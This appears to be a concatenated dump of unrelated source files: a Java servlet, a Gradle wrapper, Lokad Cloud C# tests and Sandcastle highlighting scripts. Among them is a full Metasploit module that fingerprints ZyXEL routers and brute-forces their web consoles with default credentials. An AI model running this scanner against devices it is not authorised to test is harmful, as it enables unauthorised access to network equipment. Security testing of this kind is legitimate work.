parameters.append(name).append("=").append(param).append("\n"); } logger.fine("parameters: " + parameters); } throw new ServletException("Parameter " + parameter + " not found"); } return value.trim(); } protected String getParameter(HttpServletRequest req, String parameter, String defaultValue) { String value = req.getParameter(parameter); if (value == null || value.trim().isEmpty()) { value = defaultValue; } return value.trim(); } protected void setSuccess(HttpServletResponse resp) { setSuccess(resp, 0); } protected void setSuccess(HttpServletResponse resp, int size) { resp.setStatus(HttpServletResponse.SC_OK); resp.setContentType("text/plain"); resp.setContentLength(size); } protected boolean checkUser() { UserService userService = UserServiceFactory.getUserService(); User user = userService.getCurrentUser(); String authDomain = user.getAuthDomain(); if (authDomain.contains("google.com")) { return true; } else { return false; } } }
zzc88915-iosched
gcm-server/src/main/java/com/google/android/apps/iosched/gcm/server/BaseServlet.java
Java
asf20
3,275
#!/usr/bin/env bash ############################################################################## ## ## Gradle start up script for UN*X ## ############################################################################## # Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. DEFAULT_JVM_OPTS="" APP_NAME="Gradle" APP_BASE_NAME=`basename "$0"` # Use the maximum available, or set MAX_FD != -1 to use that value. MAX_FD="maximum" warn ( ) { echo "$*" } die ( ) { echo echo "$*" echo exit 1 } # OS specific support (must be 'true' or 'false'). cygwin=false msys=false darwin=false case "`uname`" in CYGWIN* ) cygwin=true ;; Darwin* ) darwin=true ;; MINGW* ) msys=true ;; esac # For Cygwin, ensure paths are in UNIX format before anything is touched. if $cygwin ; then [ -n "$JAVA_HOME" ] && JAVA_HOME=`cygpath --unix "$JAVA_HOME"` fi # Attempt to set APP_HOME # Resolve links: $0 may be a link PRG="$0" # Need this for relative symlinks. while [ -h "$PRG" ] ; do ls=`ls -ld "$PRG"` link=`expr "$ls" : '.*-> \(.*\)$'` if expr "$link" : '/.*' > /dev/null; then PRG="$link" else PRG=`dirname "$PRG"`"/$link" fi done SAVED="`pwd`" cd "`dirname \"$PRG\"`/" >&- APP_HOME="`pwd -P`" cd "$SAVED" >&- CLASSPATH=$APP_HOME/../gradle/wrapper/gradle-wrapper.jar # Determine the Java command to use to start the JVM. if [ -n "$JAVA_HOME" ] ; then if [ -x "$JAVA_HOME/jre/sh/java" ] ; then # IBM's JDK on AIX uses strange locations for the executables JAVACMD="$JAVA_HOME/jre/sh/java" else JAVACMD="$JAVA_HOME/bin/java" fi if [ ! -x "$JAVACMD" ] ; then die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME Please set the JAVA_HOME variable in your environment to match the location of your Java installation." fi else JAVACMD="java" which java >/dev/null 2>&1 || die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. Please set the JAVA_HOME variable in your environment to match the location of your Java installation." fi # Increase the maximum file descriptors if we can. if [ "$cygwin" = "false" -a "$darwin" = "false" ] ; then MAX_FD_LIMIT=`ulimit -H -n` if [ $? -eq 0 ] ; then if [ "$MAX_FD" = "maximum" -o "$MAX_FD" = "max" ] ; then MAX_FD="$MAX_FD_LIMIT" fi ulimit -n $MAX_FD if [ $? -ne 0 ] ; then warn "Could not set maximum file descriptor limit: $MAX_FD" fi else warn "Could not query maximum file descriptor limit: $MAX_FD_LIMIT" fi fi # For Darwin, add options to specify how the application appears in the dock if $darwin; then GRADLE_OPTS="$GRADLE_OPTS \"-Xdock:name=$APP_NAME\" \"-Xdock:icon=$APP_HOME/media/gradle.icns\"" fi # For Cygwin, switch paths to Windows format before running java if $cygwin ; then APP_HOME=`cygpath --path --mixed "$APP_HOME"` CLASSPATH=`cygpath --path --mixed "$CLASSPATH"` # We build the pattern for arguments to be converted via cygpath ROOTDIRSRAW=`find -L / -maxdepth 1 -mindepth 1 -type d 2>/dev/null` SEP="" for dir in $ROOTDIRSRAW ; do ROOTDIRS="$ROOTDIRS$SEP$dir" SEP="|" done OURCYGPATTERN="(^($ROOTDIRS))" # Add a user-defined pattern to the cygpath arguments if [ "$GRADLE_CYGPATTERN" != "" ] ; then OURCYGPATTERN="$OURCYGPATTERN|($GRADLE_CYGPATTERN)" fi # Now convert the arguments - kludge to limit ourselves to /bin/sh i=0 for arg in "$@" ; do CHECK=`echo "$arg"|egrep -c "$OURCYGPATTERN" -` CHECK2=`echo "$arg"|egrep -c "^-"` ### Determine if an option if [ $CHECK -ne 0 ] && [ $CHECK2 -eq 0 ] ; then ### Added a condition eval `echo args$i`=`cygpath --path --ignore --mixed "$arg"` else eval `echo args$i`="\"$arg\"" fi i=$((i+1)) done case $i in (0) set -- ;; (1) set -- "$args0" ;; (2) set -- "$args0" "$args1" ;; (3) set -- "$args0" "$args1" "$args2" ;; (4) set -- "$args0" "$args1" "$args2" "$args3" ;; (5) set -- "$args0" "$args1" "$args2" "$args3" "$args4" ;; (6) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" ;; (7) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" ;; (8) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" ;; (9) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" "$args8" ;; esac fi # Split up the JVM_OPTS And GRADLE_OPTS values into an array, following the shell quoting and substitution rules function splitJvmOpts() { JVM_OPTS=("$@") } eval splitJvmOpts $DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS JVM_OPTS[${#JVM_OPTS[*]}]="-Dorg.gradle.appname=$APP_BASE_NAME" exec "$JAVACMD" "${JVM_OPTS[@]}" -classpath "$CLASSPATH" org.gradle.wrapper.GradleWrapperMain "$@"
zzc88915-iosched
gcm-server/gradlew.sh
Shell
asf20
5,083
# Exploit Title: ZyXEL ZyWALL/Prestige Router Web Console # Default Password Scanner # Google Dork: inurl:rpAuth.html # Date: 2014-09-30 # Exploit Author: Jonathan Racicot <cyberrecce [at] gmail [dot] com> # Vendor Homepage: http://www.zyxel.com/us/en/homepage.shtml # Software Link: # http://www.zyxel.com/us/en/products_services/p_660h_series.shtml?t=p&tabOrder=1 # Version: [app version - REQUIRED] # Tested on: AMG1202-T10A, P-660H-T1 v2, P-660HW-T1 v2, P-660HW-T1 v3 # CVE : CVE-2007-4316, CVE-2008-1256, CVE-2008-1522 # Todo: # [ ] Toggle SSL/Plain not automatic # [ ] Username/Password switch to Pass only require 'msf/core' class Metasploit4 < Msf::Auxiliary include Msf::Auxiliary::Scanner include Msf::Auxiliary::AuthBrute include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report def initialize super( 'Name' => 'ZyXEL ZyWALL/Prestige Router Web Console '\ 'Default Credentials Scanner', 'Version' => '$Revision: 1 $', 'Description' => 'This module scans for ZyXEL ZyWALL and '\ 'Prestige type of routers with remote web'\ 'management enabled. It send attempts to '\ 'log into the web management console using'\ 'default credentials.', 'Author' => ['Jonathan Racicot <cyberrecce[at]gmail.com>'], 'License' => MSF_LICENSE, 'References' => [['URL', 'http://bit.ly/1nHE385'], ['CVE', '2008-1256'], ['CVE', '2007-4316'], ['CVE', '2008-1522']], 'Targets' => [['Any'], ['AMG1202-T10A'], ['MAX-216M1R'], ['OX253P'], ['P-2602HW-D1A'], ['P-2602R-D1A'], ['P-2612HWU-F1'], ['P-2802HWL-I3'], ['P-660R-D1'], ['P-660R-T1 v2'], ['P-660H-D1'], ['P-660H-T1 v2'], ['P-660HW-T1 v2'], ['P-660HW-T1 v3'], ['P-661H-D1'], ['P-661HW-D1'], ['P-662H-D1']], 'DefaultTarget' => 0, 'DefaultOptions' => { 'USER_FILE' => File.join(Msf::Config.data_directory, 'wordlists', 'zyxel_default_user.txt'), 'PASS_FILE' => File.join(Msf::Config.data_directory, 'wordlists', 'zyxel_default_pass.txt'), 'STOP_ON_SUCCESS' => true, 'SSL' => true } ) deregister_options('BLANK_PASSWORDS', 'USERPASS_FILE', 'DB_ALL_PASS', 'DB_ALL_USERS', 'DB_ALL_CREDS', 'RHOST', 'USER_AS_PASS') end # Attemps to retrieve the login page of the Web Management console of # router. If the function fails to connect, a null response object will # be returned. Otherwise, the response object created by 'send_request_cgi' # will be returned. # @param ip The IP address of the router to brute force. # @return Response received by HTTP GET request to the root page of # the router. def get_login_page(ip) begin response = send_request_cgi( 'uri' => '/', 'method' => 'GET' ) # Some models of ZyXEL ZyWALL return a 200 OK response # and use javascript to redirect to the rpAuth.html page. if response && response.body =~ /changeURL\('rpAuth.html'\)/ vprint_status "#{ip}- Redirecting to rpAuth.html page..." response = send_request_cgi( 'uri' => '/rpAuth.html', 'method' => 'GET' ) end rescue ::Rex::ConnectionError vprint_error "#{ip} - Failed to connect to Web management console." end return response end # Verifies based on the given response if the router is a ZyXEL router # we can attempt default passwords against. It simply checks for keywords # within the page to determine if the router is a valid target. # Returns true if the router is a targetable ZyXEL router, returns # false otherwise. # @param response Response received by the 'send_request_cgi' function # to the router to retrieve the login page. # @return true if the router is a targetable ZyXEL router, returns # false otherwise. def is_zyxel?(response) if response \ && response.headers['Server'] \ && response.headers['Server'] =~ /RomPager(.*)/ \ && response.body =~ /ZyXEL|ZyWALL|Logo_zyxel.gif/ return true else return false end end def check_host(ip) @check_only = true response = get_login_page(ip) if response.nil? || response.code != 200 Exploit::CheckCode::Unknown else if is_zyxel?(response) Exploit::CheckCode::Appears else Exploit::CheckCode::Safe end end end # Sends the HTTP POST requests to login into the router using the paramters # given. Note that the 'username' parameter will not be used if the # 'need_username' parameter is set to false. # If a connection cannot be established, the function will fail and return # :abort. If a successful login occurs, the credentials used will be recorded # into the Metasploit database and the value :success will be returned. Otherwise, # the function will skip to the next credential pair. # @param ip The ip to send the HTTP POST request. # @param username The username to login with. Ignored if 'need_username' is false. # @param password The password to login with. # @param need_username Specifies if the current router needs a username to login. # @return :abort if a connection could not be established. Returns :success if the # credentials specified granted access to the management page. Returns :skip_user # otherwise. def do_login(ip, username, password, need_username) md5_password = Digest::MD5.hexdigest(password) params = { 'Prestige_Login' => 'Login', 'LoginPassword' => 'ZyXEL+ZyWALL+Series', 'hiddenPassword' => md5_password } if need_username params = { 'LoginAccount' => username } end vprint_status "#{ip} - Trying username '#{username}' "\ "with password '#{password}'..." begin response = send_request_cgi( 'uri' => '/Forms/rpAuth_1', 'method' => 'POST', 'vars_post' => params ) rescue ::Rex::ConnectionError print_error "#{ip} - Failed to connect to Web management console." return :abort end if response && \ (response.redirect? && response.redirection.path =~ /passWarning|rpSys/) username = '(empty)' unless need_username print_good "#{ip} - Successfully logged in with username '#{username}' "\ "and password '#{password}'" report_auth_info( host: rhost, port: rport, sname: (ssl ? 'https' : 'http'), user: username, pass: password, active: true ) report_vuln( host: rhost, port: rport, proto: 'tcp', name: self.name, info: "Successfully logged in with #{username}/#{password}.", refs: self.references ) return :success else vprint_error "#{ip} - Failed to login with username '#{username}' "\ "and password '#{password}'" return :skip_user end end # This function will try the default credentials against the specified # IP address after confirming the router is a ZyXEL Prestige/ZyWALL # model. # @param ip The IP address to brute force def run_host(ip) response = get_login_page(ip) if response.nil? print_status "#{ip}- No response from device. Verify if the device is up." return :abort end vprint_status "#{ip} - Checking if host is a ZyXEL device." if is_zyxel?(response) print_good "#{ip} - Appears to be a ZyXEL device." if response.body need_username = (response.body =~ /name="LoginAccount"/) end each_user_pass do |user, pass| result = do_login(ip, user, pass, need_username) if result == :success :next_user else :skip_pass end end else print_error "#{ip} - Not a ZyXEL Prestige/ZyWALL device." end end end
zyxel-default-creds-module
zyxel-default-creds-module/auxiliary/scanner/http/zyxel.rb
Ruby
gpl3
8,616
@echo off @%SystemRoot%\Microsoft.NET\Framework\v4.0.30319\msbuild Lokad.Cloud.ccnet %*
zyyin2005-lokad
go.cmd
Batchfile
bsd
88
#region Copyright (c) Lokad 2009-2010 // This code is released under the terms of the new BSD licence. // URL: http://www.lokad.com/ #endregion using Autofac; using Autofac.Configuration; namespace Lokad.Cloud.Test { public sealed class GlobalSetup { static IContainer _container; static IContainer Setup() { var builder = new ContainerBuilder(); builder.RegisterModule(new CloudModule()); builder.RegisterModule(new ConfigurationSettingsReader("autofac")); return builder.Build(); } /// <summary>Gets the IoC container as initialized by the setup.</summary> public static IContainer Container { get { return _container ?? (_container = Setup()); } } } }
zyyin2005-lokad
Test/Lokad.Cloud.Framework.Test/GlobalSetup.cs
C#
bsd
829
using System.Reflection; using System.Runtime.CompilerServices; using System.Runtime.InteropServices; // General Information about an assembly is controlled through the following // set of attributes. Change these attribute values to modify the information // associated with an assembly. [assembly: AssemblyTitle("Lokad.Cloud.Framework.Test")] [assembly: AssemblyDescription("")] [assembly: AssemblyConfiguration("")] [assembly: AssemblyCompany("Lokad.com")] [assembly: AssemblyProduct("Lokad.Cloud.Framework.Test")] [assembly: AssemblyCopyright("Copyright © Lokad 2009")] [assembly: AssemblyTrademark("")] [assembly: AssemblyCulture("")] // Setting ComVisible to false makes the types in this assembly not visible // to COM components. If you need to access a type in this assembly from // COM, set the ComVisible attribute to true on that type. [assembly: ComVisible(false)] // The following GUID is for the ID of the typelib if this project is exposed to COM [assembly: Guid("8a3d64f3-fa8f-4936-971f-c41712a8310e")] // Version information for an assembly consists of the following four values: // // Major Version // Minor Version // Build Number // Revision // // You can specify all the values or you can default the Build and Revision Numbers // by using the '*' as shown below: // [assembly: AssemblyVersion("1.0.*")] [assembly: AssemblyVersion("1.0.0.0")] [assembly: AssemblyFileVersion("1.0.0.0")]
zyyin2005-lokad
Test/Lokad.Cloud.Framework.Test/Properties/AssemblyInfo.cs
C#
bsd
1,478
using System; using System.Collections.Generic; using System.Linq; namespace Lokad.Cloud.Shared.Test { /// <summary> /// Helper class with shortcut methods for managing enumerations. /// Useful for inlining object generation in tests /// </summary> public static class Range { /// <summary> Returns empty enumerator </summary> /// <typeparam name="T">type of the item to enumerate</typeparam> /// <returns>singleton instance of the empty enumerator</returns> public static IEnumerable<T> Empty<T>() { return Enumerable.Empty<T>(); } /// <summary> /// returns enumeration from 0 with <paramref name="count"/> numbers /// </summary> /// <param name="count">Number of items to create</param> /// <returns>enumerable</returns> public static IEnumerable<int> Create(int count) { return Enumerable.Range(0, count); } /// <summary> /// Creates sequence of the integral numbers within the specified range /// </summary> /// <param name="start">The value of the first integer in sequence.</param> /// <param name="count">The number of values in the sequence.</param> /// <returns>sequence of the integral numbers within the specified range</returns> public static IEnumerable<int> Create(int start, int count) { return Enumerable.Range(start, count); } /// <summary> /// Creates sequence that consists of a repeated value. /// </summary> /// <typeparam name="TResult">The type of the value to repeat.</typeparam> /// <param name="item">The value to repeat.</param> /// <param name="count">The number of times to repeat.</param> /// <returns>sequence that consists of a repeated value</returns> public static IEnumerable<TResult> Repeat<TResult>(TResult item, int count) { return Enumerable.Repeat(item, count); } /// <summary> /// Creates the generator to iterate from 1 to <see cref="int.MaxValue"/>. /// </summary> /// <typeparam name="T">type of the item to generate</typeparam> /// <param name="generator">The generator.</param> /// <returns>new enumerator</returns> public static IEnumerable<T> Create<T>(Func<int, T> generator) { for (int i = 0; i < int.MaxValue; i++) { yield return generator(i); } throw new InvalidOperationException("Generator has reached the end"); } /// <summary> /// Creates the enumerable using the provided generator. /// </summary> /// <typeparam name="T"></typeparam> /// <param name="count">The count.</param> /// <param name="generator">The generator.</param> /// <returns>enumerable instance</returns> public static IEnumerable<T> Create<T>(int count, Func<int, T> generator) { for (int i = 0; i < count; i++) { yield return generator(i); } } /// <summary> /// Creates the enumerable using the provided generator. /// </summary> /// <typeparam name="T"></typeparam> /// <param name="count">The count.</param> /// <param name="generator">The generator.</param> /// <returns>enumerable instance</returns> public static IEnumerable<T> Create<T>(int count, Func<T> generator) { for (int i = 0; i < count; i++) { yield return generator(); } } /// <summary> /// Creates the array populated with the provided generator /// </summary> /// <typeparam name="TValue">The type of the value.</typeparam> /// <param name="count">The count.</param> /// <param name="generator">The generator.</param> /// <returns>array</returns> public static TValue[] Array<TValue>(int count, Func<int, TValue> generator) { if (generator == null) throw new ArgumentNullException("generator"); var array = new TValue[count]; for (int i = 0; i < array.Length; i++) { array[i] = generator(i); } return array; } /// <summary> /// Creates the array of integers /// </summary> /// <param name="count">The count.</param> /// <returns></returns> public static int[] Array(int count) { var array = new int[count]; for (int i = 0; i < array.Length; i++) { array[i] = i; } return array; } } }
zyyin2005-lokad
Test/Lokad.Cloud.Framework.Test/Shared/Range.cs
C#
bsd
4,978
// compile me with // csc /out:sample.dll /t:library sample.cs namespace Lokad.Example { public class MyClass { public string MyMethod() { return "foo"; } } }
zyyin2005-lokad
Test/Lokad.Cloud.Framework.Test/Sample/sample.cs
C#
bsd
181
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Download Lokad Cloud Framework for Azure</title> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <link rel="alternate" title="Lokad" href="http://www.lokad.com/RSS.aspx" type="application/rss+xml" /> <link rel="alternate" type="application/rss+xml" title="Lokad Blog and News" href="http://blog.lokad.com/journal/rss.xml" /> <meta name="description" content="Lokad Cloud framework is .NET execution framework for Windows Azure."/> <meta http-equiv="Cache-Control" content="no-cache" /> <meta http-equiv="Pragma" content="no-cache" /> <meta http-equiv="Expires" content="0" /> </head> <body style="font-family:Arial;"> <div><img src="http://lokad-cloud.googlecode.com/svn/trunk/Doc/lokad-cloud-logo-2009.png" /></div> <h2>Download Version ${Version} (for .NET 4.0)</h2> <ul> <li><strong><a href="${Version}/${CloudPackage}">Download Cloud package</a> (ZIP with CSPKG for Windows Azure). </strong></li> <li><a href="${Version}/${SourcePackage}">Download sources</a> (C#, VS2010 solution).</li> </ul> <h2>Links</h2> <ul> <li><a href="http://code.google.com/p/lokad-cloud/">Project page</a> on <em>Google Code</em></li> <li><a href="http://www.lokad.com">Lokad.com</a></li> </ul> <p><sub><em>Build ${Version} released on ${BuildTime}.</em></sub></p> <p>&copy;2009 Lokad. All rights reserved</p> </body> </html>
zyyin2005-lokad
Resource/Template/index.template.htm
HTML
bsd
1,553
//============================================================================= // System : Color Syntax Highlighter // File : Highlight.js // Author : Eric Woodruff (Eric@EWoodruff.us) // Updated : 11/13/2007 // Note : Copyright 2006, Eric Woodruff, All rights reserved // // This contains the script to expand and collapse the regions in the // syntax highlighted code. // //============================================================================= // Expand/collapse a region function HighlightExpandCollapse(showId, hideId) { var showSpan = document.getElementById(showId), hideSpan = document.getElementById(hideId); showSpan.style.display = "inline"; hideSpan.style.display = "none"; } // Copy the code if Enter or Space is hit with the image focused function CopyColorizedCodeCheckKey(titleDiv, eventObj) { if(eventObj != undefined && (eventObj.keyCode == 13 || eventObj.keyCode == 32)) CopyColorizedCode(titleDiv); } // Change the icon as the mouse moves in and out of the Copy Code link // There should be an image with the same name but an "_h" suffix just // before the extension. function CopyCodeChangeIcon(linkSpan) { var image = linkSpan.firstChild.src; var pos = image.lastIndexOf("."); if(linkSpan.className == "highlight-copycode") { linkSpan.className = "highlight-copycode_h"; linkSpan.firstChild.src = image.substr(0, pos) + "_h" + image.substr(pos); } else { linkSpan.className = "highlight-copycode"; linkSpan.firstChild.src = image.substr(0, pos - 2) + image.substr(pos); } } // Copy the code from a colorized code block to the clipboard. function CopyColorizedCode(titleDiv) { var preTag, idx, line, block, htmlLines, lines, codeText, hasLineNos, hasRegions, clip, trans, copyObject, clipID; var reLineNo = /^\s*\d{1,4}/; var reRegion = /^\s*\d{1,4}\+.*?\d{1,4}-/; var reRegionText = /^\+.*?\-/; // Find the <pre> tag containing the code. It should be in the next // element or one of its children. block = titleDiv.nextSibling; while(block.nodeName == "#text") block = block.nextSibling; while(block.tagName != "PRE") { block = block.firstChild; while(block.nodeName == "#text") block = block.nextSibling; } if(block.innerText != undefined) codeText = block.innerText; else codeText = block.textContent; hasLineNos = block.innerHTML.indexOf("highlight-lineno"); hasRegions = block.innerHTML.indexOf("highlight-collapsebox"); htmlLines = block.innerHTML.split("\n"); lines = codeText.split("\n"); // Remove the line numbering and collapsible regions if present if(hasLineNos != -1 || hasRegions != -1) { codeText = ""; for(idx = 0; idx < lines.length; idx++) { line = lines[idx]; if(hasRegions && reRegion.test(line)) line = line.replace(reRegion, ""); else { line = line.replace(reLineNo, ""); // Lines in expanded blocks have an extra space if(htmlLines[idx].indexOf("highlight-expanded") != -1 || htmlLines[idx].indexOf("highlight-endblock") != -1) line = line.substr(1); } if(hasRegions && reRegionText.test(line)) line = line.replace(reRegionText, ""); codeText += line; // Not all browsers keep the line feed when split if(line[line.length - 1] != "\n") codeText += "\n"; } } // IE or FireFox/Netscape? if(window.clipboardData) window.clipboardData.setData("Text", codeText); else if(window.netscape) { // Give unrestricted access to browser APIs using XPConnect try { netscape.security.PrivilegeManager.enablePrivilege( "UniversalXPConnect"); } catch(e) { alert("Universal Connect was refused, cannot copy to " + "clipboard. Go to about:config and set " + "signed.applets.codebase_principal_support to true to " + "enable clipboard support."); return; } // Creates an instance of nsIClipboard clip = Components.classes[ "@mozilla.org/widget/clipboard;1"].createInstance( Components.interfaces.nsIClipboard); // Creates an instance of nsITransferable if(clip) trans = Components.classes[ "@mozilla.org/widget/transferable;1"].createInstance( Components.interfaces.nsITransferable); if(!trans) { alert("Copy to Clipboard is not supported by this browser"); return; } // Register the data flavor trans.addDataFlavor("text/unicode"); // Create object to hold the data copyObject = new Object(); // Creates an instance of nsISupportsString copyObject = Components.classes[ "@mozilla.org/supports-string;1"].createInstance( Components.interfaces.nsISupportsString); // Assign the data to be copied copyObject.data = codeText; // Add data objects to transferable trans.setTransferData("text/unicode", copyObject, codeText.length * 2); clipID = Components.interfaces.nsIClipboard; if(!clipID) { alert("Copy to Clipboard is not supported by this browser"); return; } // Transfer the data to the clipboard clip.setData(trans, null, clipID.kGlobalClipboard); } else alert("Copy to Clipboard is not supported by this browser"); }
zyyin2005-lokad
Resource/Tool/SHFB/Colorizer/highlight.js
JavaScript
bsd
6,267
.highlight-inline { color: #000066; font-size: 9pt; font-family: Consolas, "Courier New", Courier, monospace; } .highlight-pre { clear: both; width: 99.5%; background-color: #EFEFF7; padding: 0.4em; font-size: 9pt; font-family: Consolas, "Courier New", Courier, monospace; margin-top: 0px; margin-bottom: 1em; } .highlight-comment { color: #006633; } .highlight-literal { color: #CC0000; } .highlight-number { color: #009966; } .highlight-keyword { color: #0000FF; } .highlight-preprocessor { color: #996666; } .highlight-xml-tag { color: #AA4400 } .highlight-xml-bracket { color: #0000FF } .highlight-xml-comment { color: #008800 } .highlight-xml-cdata { color: #AA0088 } .highlight-xml-attribute-name { color: #0000FF } .highlight-xml-attribute-equal { color: #000000 } .highlight-xml-attribute-value {color: #CC0000 } .highlight-title { font-weight: bold; margin-top: 1em; margin-bottom: 2px; border-bottom: gray 1px solid; padding-bottom: 3px; } .highlight-copycode { float: right; padding-right: 10px; font-weight: normal; cursor: pointer; } .highlight-copycode_h { float: right; padding-right: 10px; font-weight: normal; cursor: pointer; text-decoration: underline} .highlight-lineno { font-size: 80%; color: black } .highlight-lnborder { border-right-style: solid; border-right-width: 1px; border-color: gray; padding-right: 4px; margin-right: 4px; width: 4px;} .highlight-spacer { padding-right: 20px; } .highlight-spacerShort { padding-right: 5px; } .highlight-collapsebox { cursor: pointer; color: black; text-align: center; border-style: solid; border-width: 1px; border-color: gray; margin-left: 2px; margin-right: 5px; } .highlight-collapsed { border-style: solid; border-width: 1px; border-color: gray; margin: 2px; color: gray; } .highlight-expanded { border-left-style: solid; border-left-width: 1px; border-color: gray; margin-left: 2px; margin-right: 10px; } .highlight-endblock { border-left-style: solid; border-left-width: 1px; border-bottom-style: solid; border-bottom-width: 1px; border-color: gray; margin-left: 2px; margin-right: 10px; } .highlight-pshell-cmdlet { color: #5A9EA5; font-weight: bold; } .highlight-namespace { color: #008284; }
zyyin2005-lokad
Resource/Tool/SHFB/Colorizer/highlight.css
CSS
bsd
2,195
<?xml version="1.0" encoding="ISO-8859-1"?> <xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0"> <xsl:output encoding="ISO-8859-1" indent="no" omit-xml-declaration="yes"/> <xsl:template match="code"> <xsl:value-of select="text()" disable-output-escaping="yes" /> </xsl:template> <xsl:template match="cpp-linecomment"> <span class="highlight-comment">//<xsl:value-of select="text()" disable-output-escaping="yes" /></span> </xsl:template> <xsl:template match="vb-comment"> <span class="highlight-comment"><xsl:value-of select="text()" disable-output-escaping="yes" /></span> </xsl:template> <xsl:template match="cpp-blockcomment"> <span class="highlight-comment">/*<xsl:value-of select="text()" disable-output-escaping="yes" />*/</span> </xsl:template> <xsl:template match="sql-blockcomment"> <span class="highlight-comment">/*<xsl:value-of select="text()" disable-output-escaping="yes" />*/</span> </xsl:template> <xsl:template match="sql-linecomment"> <span class="highlight-comment">--<xsl:value-of select="text()" disable-output-escaping="yes" /></span> </xsl:template> <xsl:template match="pshell-linecomment"> <span class="highlight-comment"><xsl:value-of select="text()" disable-output-escaping="yes" /></span> </xsl:template> <xsl:template match="pshell-cmdlet"> <span class="highlight-pshell-cmdlet"><xsl:value-of select="text()" disable-output-escaping="yes" /></span> </xsl:template> <xsl:template match="namespace"> <span class="highlight-namespace"><xsl:value-of select="text()" disable-output-escaping="yes" /></span> </xsl:template> <xsl:template match="literal"> <span class="highlight-literal"><xsl:value-of select="text()" disable-output-escaping="yes" /></span> </xsl:template> <xsl:template match="number"> <span class="highlight-number"><xsl:value-of select="text()" disable-output-escaping="yes" /></span> </xsl:template> <xsl:template match="keyword"> <span class="highlight-keyword"><xsl:value-of select="text()" disable-output-escaping="yes" /></span> </xsl:template> <xsl:template match="preprocessor"> <span class="highlight-preprocessor"><xsl:value-of select="text()" disable-output-escaping="yes" /></span> </xsl:template> <xsl:template match="xml-value"><xsl:value-of select="text()" disable-output-escaping="yes" /></xsl:template> <xsl:template match="xml-tag"><span class="highlight-xml-tag"><xsl:value-of select="text()" disable-output-escaping="yes" /></span></xsl:template> <xsl:template match="xml-bracket"><span class="highlight-xml-bracket"><xsl:value-of select="text()" disable-output-escaping="yes" /></span></xsl:template> <xsl:template match="xml-comment"><span class="highlight-xml-comment"><xsl:value-of select="text()" disable-output-escaping="yes"/></span></xsl:template> <xsl:template match="xml-cdata"> <span class="highlight-xml-bracket"><xsl:text>&lt;![CDATA[</xsl:text></span> <span class="highlight-xml-cdata"><xsl:value-of select="text()" disable-output-escaping="yes" /></span> <span class="highlight-xml-bracket"><xsl:text>]]&gt;</xsl:text></span> </xsl:template> <xsl:template match="xml-attribute-name"><span class="highlight-xml-attribute-name"><xsl:value-of select="text()" disable-output-escaping="yes" /></span></xsl:template> <xsl:template match="xml-attribute-equal"><span class="highlight-xml-attribute-equal"><xsl:value-of select="text()" disable-output-escaping="yes" /></span></xsl:template> <xsl:template match="xml-attribute-value"><span class="highlight-xml-attribute-value"><xsl:value-of select="text()" disable-output-escaping="yes" /></span></xsl:template> <xsl:template match="parsedcode"> <xsl:choose> <xsl:when test="@in-box[.=0]"> <xsl:element name="span"> <xsl:attribute name="class">highlight-inline</xsl:attribute> <xsl:apply-templates/> </xsl:element> </xsl:when> <xsl:otherwise> <xsl:apply-templates/> </xsl:otherwise> </xsl:choose> </xsl:template> <xsl:template match="/"> <xsl:apply-templates/> </xsl:template> </xsl:stylesheet>
zyyin2005-lokad
Resource/Tool/SHFB/Colorizer/highlight.xsl
XSLT
bsd
4,075
@ECHO OFF IF NOT EXIST "%DXROOT%Data\Reflection\*.xml" GOTO BuildData ECHO * ECHO * %DXROOT%Data\Reflection already exists. ECHO * ECHO * With the October 2007 release and on, it is not necessary to create the ECHO * files unless you install a newer version of the .NET Framework. If ECHO * you want to recreate it, you must delete the folder first. ECHO * PAUSE GOTO Done :BuildData ECHO * ECHO * This will build the Sandcastle refelection data prior to first use. ECHO * This may take up to 30 minutes so please be patient. Hit any key ECHO * to start or Ctrl+C to cancel. ECHO * ECHO * NOTE: If running this on Vista, you may need to edit the shortcut that ECHO * started this script to give it Run as Administrator priviliges. ECHO * PAUSE REM Determine the most recent .NET version installed SET DNVER=2.0 IF EXIST "%WINDIR%\Microsoft.NET\Framework\v3.0\*.*" SET DNVER=3.0 IF EXIST "%WINDIR%\Microsoft.NET\Framework\v3.5\*.*" SET DNVER=3.5 "%WINDIR%\Microsoft.Net\Framework\v2.0.50727\msbuild" "%DXROOT%Examples\Sandcastle\fxReflection.proj" /Property:NetfxVer=%DNVER% /Property:PresentationStyle=vs2005 REM Clean up by removing some unnecessary stuff RD /S /Q "%DXROOT%Data\Tmp" del "%DXROOT%Data\Reflection\AdoNetDiag.xml" del "%DXROOT%Data\Reflection\alink.xml" del "%DXROOT%Data\Reflection\aspnet_filter.xml" del "%DXROOT%Data\Reflection\aspnet_isapi.xml" del "%DXROOT%Data\Reflection\Aspnet_perf.xml" del "%DXROOT%Data\Reflection\aspnet_rc.xml" del "%DXROOT%Data\Reflection\CORPerfMonExt.xml" del "%DXROOT%Data\Reflection\cscomp.xml" del "%DXROOT%Data\Reflection\Culture.xml" del "%DXROOT%Data\Reflection\dfdll.xml" del "%DXROOT%Data\Reflection\diasymreader.xml" del "%DXROOT%Data\Reflection\EventLogMessages.xml" del "%DXROOT%Data\Reflection\fusion.xml" del "%DXROOT%Data\Reflection\InstallUtilLib.xml" del "%DXROOT%Data\Reflection\MmcAspExt.xml" del "%DXROOT%Data\Reflection\mscordacwks.xml" del "%DXROOT%Data\Reflection\mscordbc.xml" del "%DXROOT%Data\Reflection\mscordbi.xml" del "%DXROOT%Data\Reflection\mscorie.xml" del "%DXROOT%Data\Reflection\mscorjit.xml" del "%DXROOT%Data\Reflection\mscorld.xml" del "%DXROOT%Data\Reflection\mscorpe.xml" del "%DXROOT%Data\Reflection\mscorrc.xml" del "%DXROOT%Data\Reflection\mscorsec.xml" 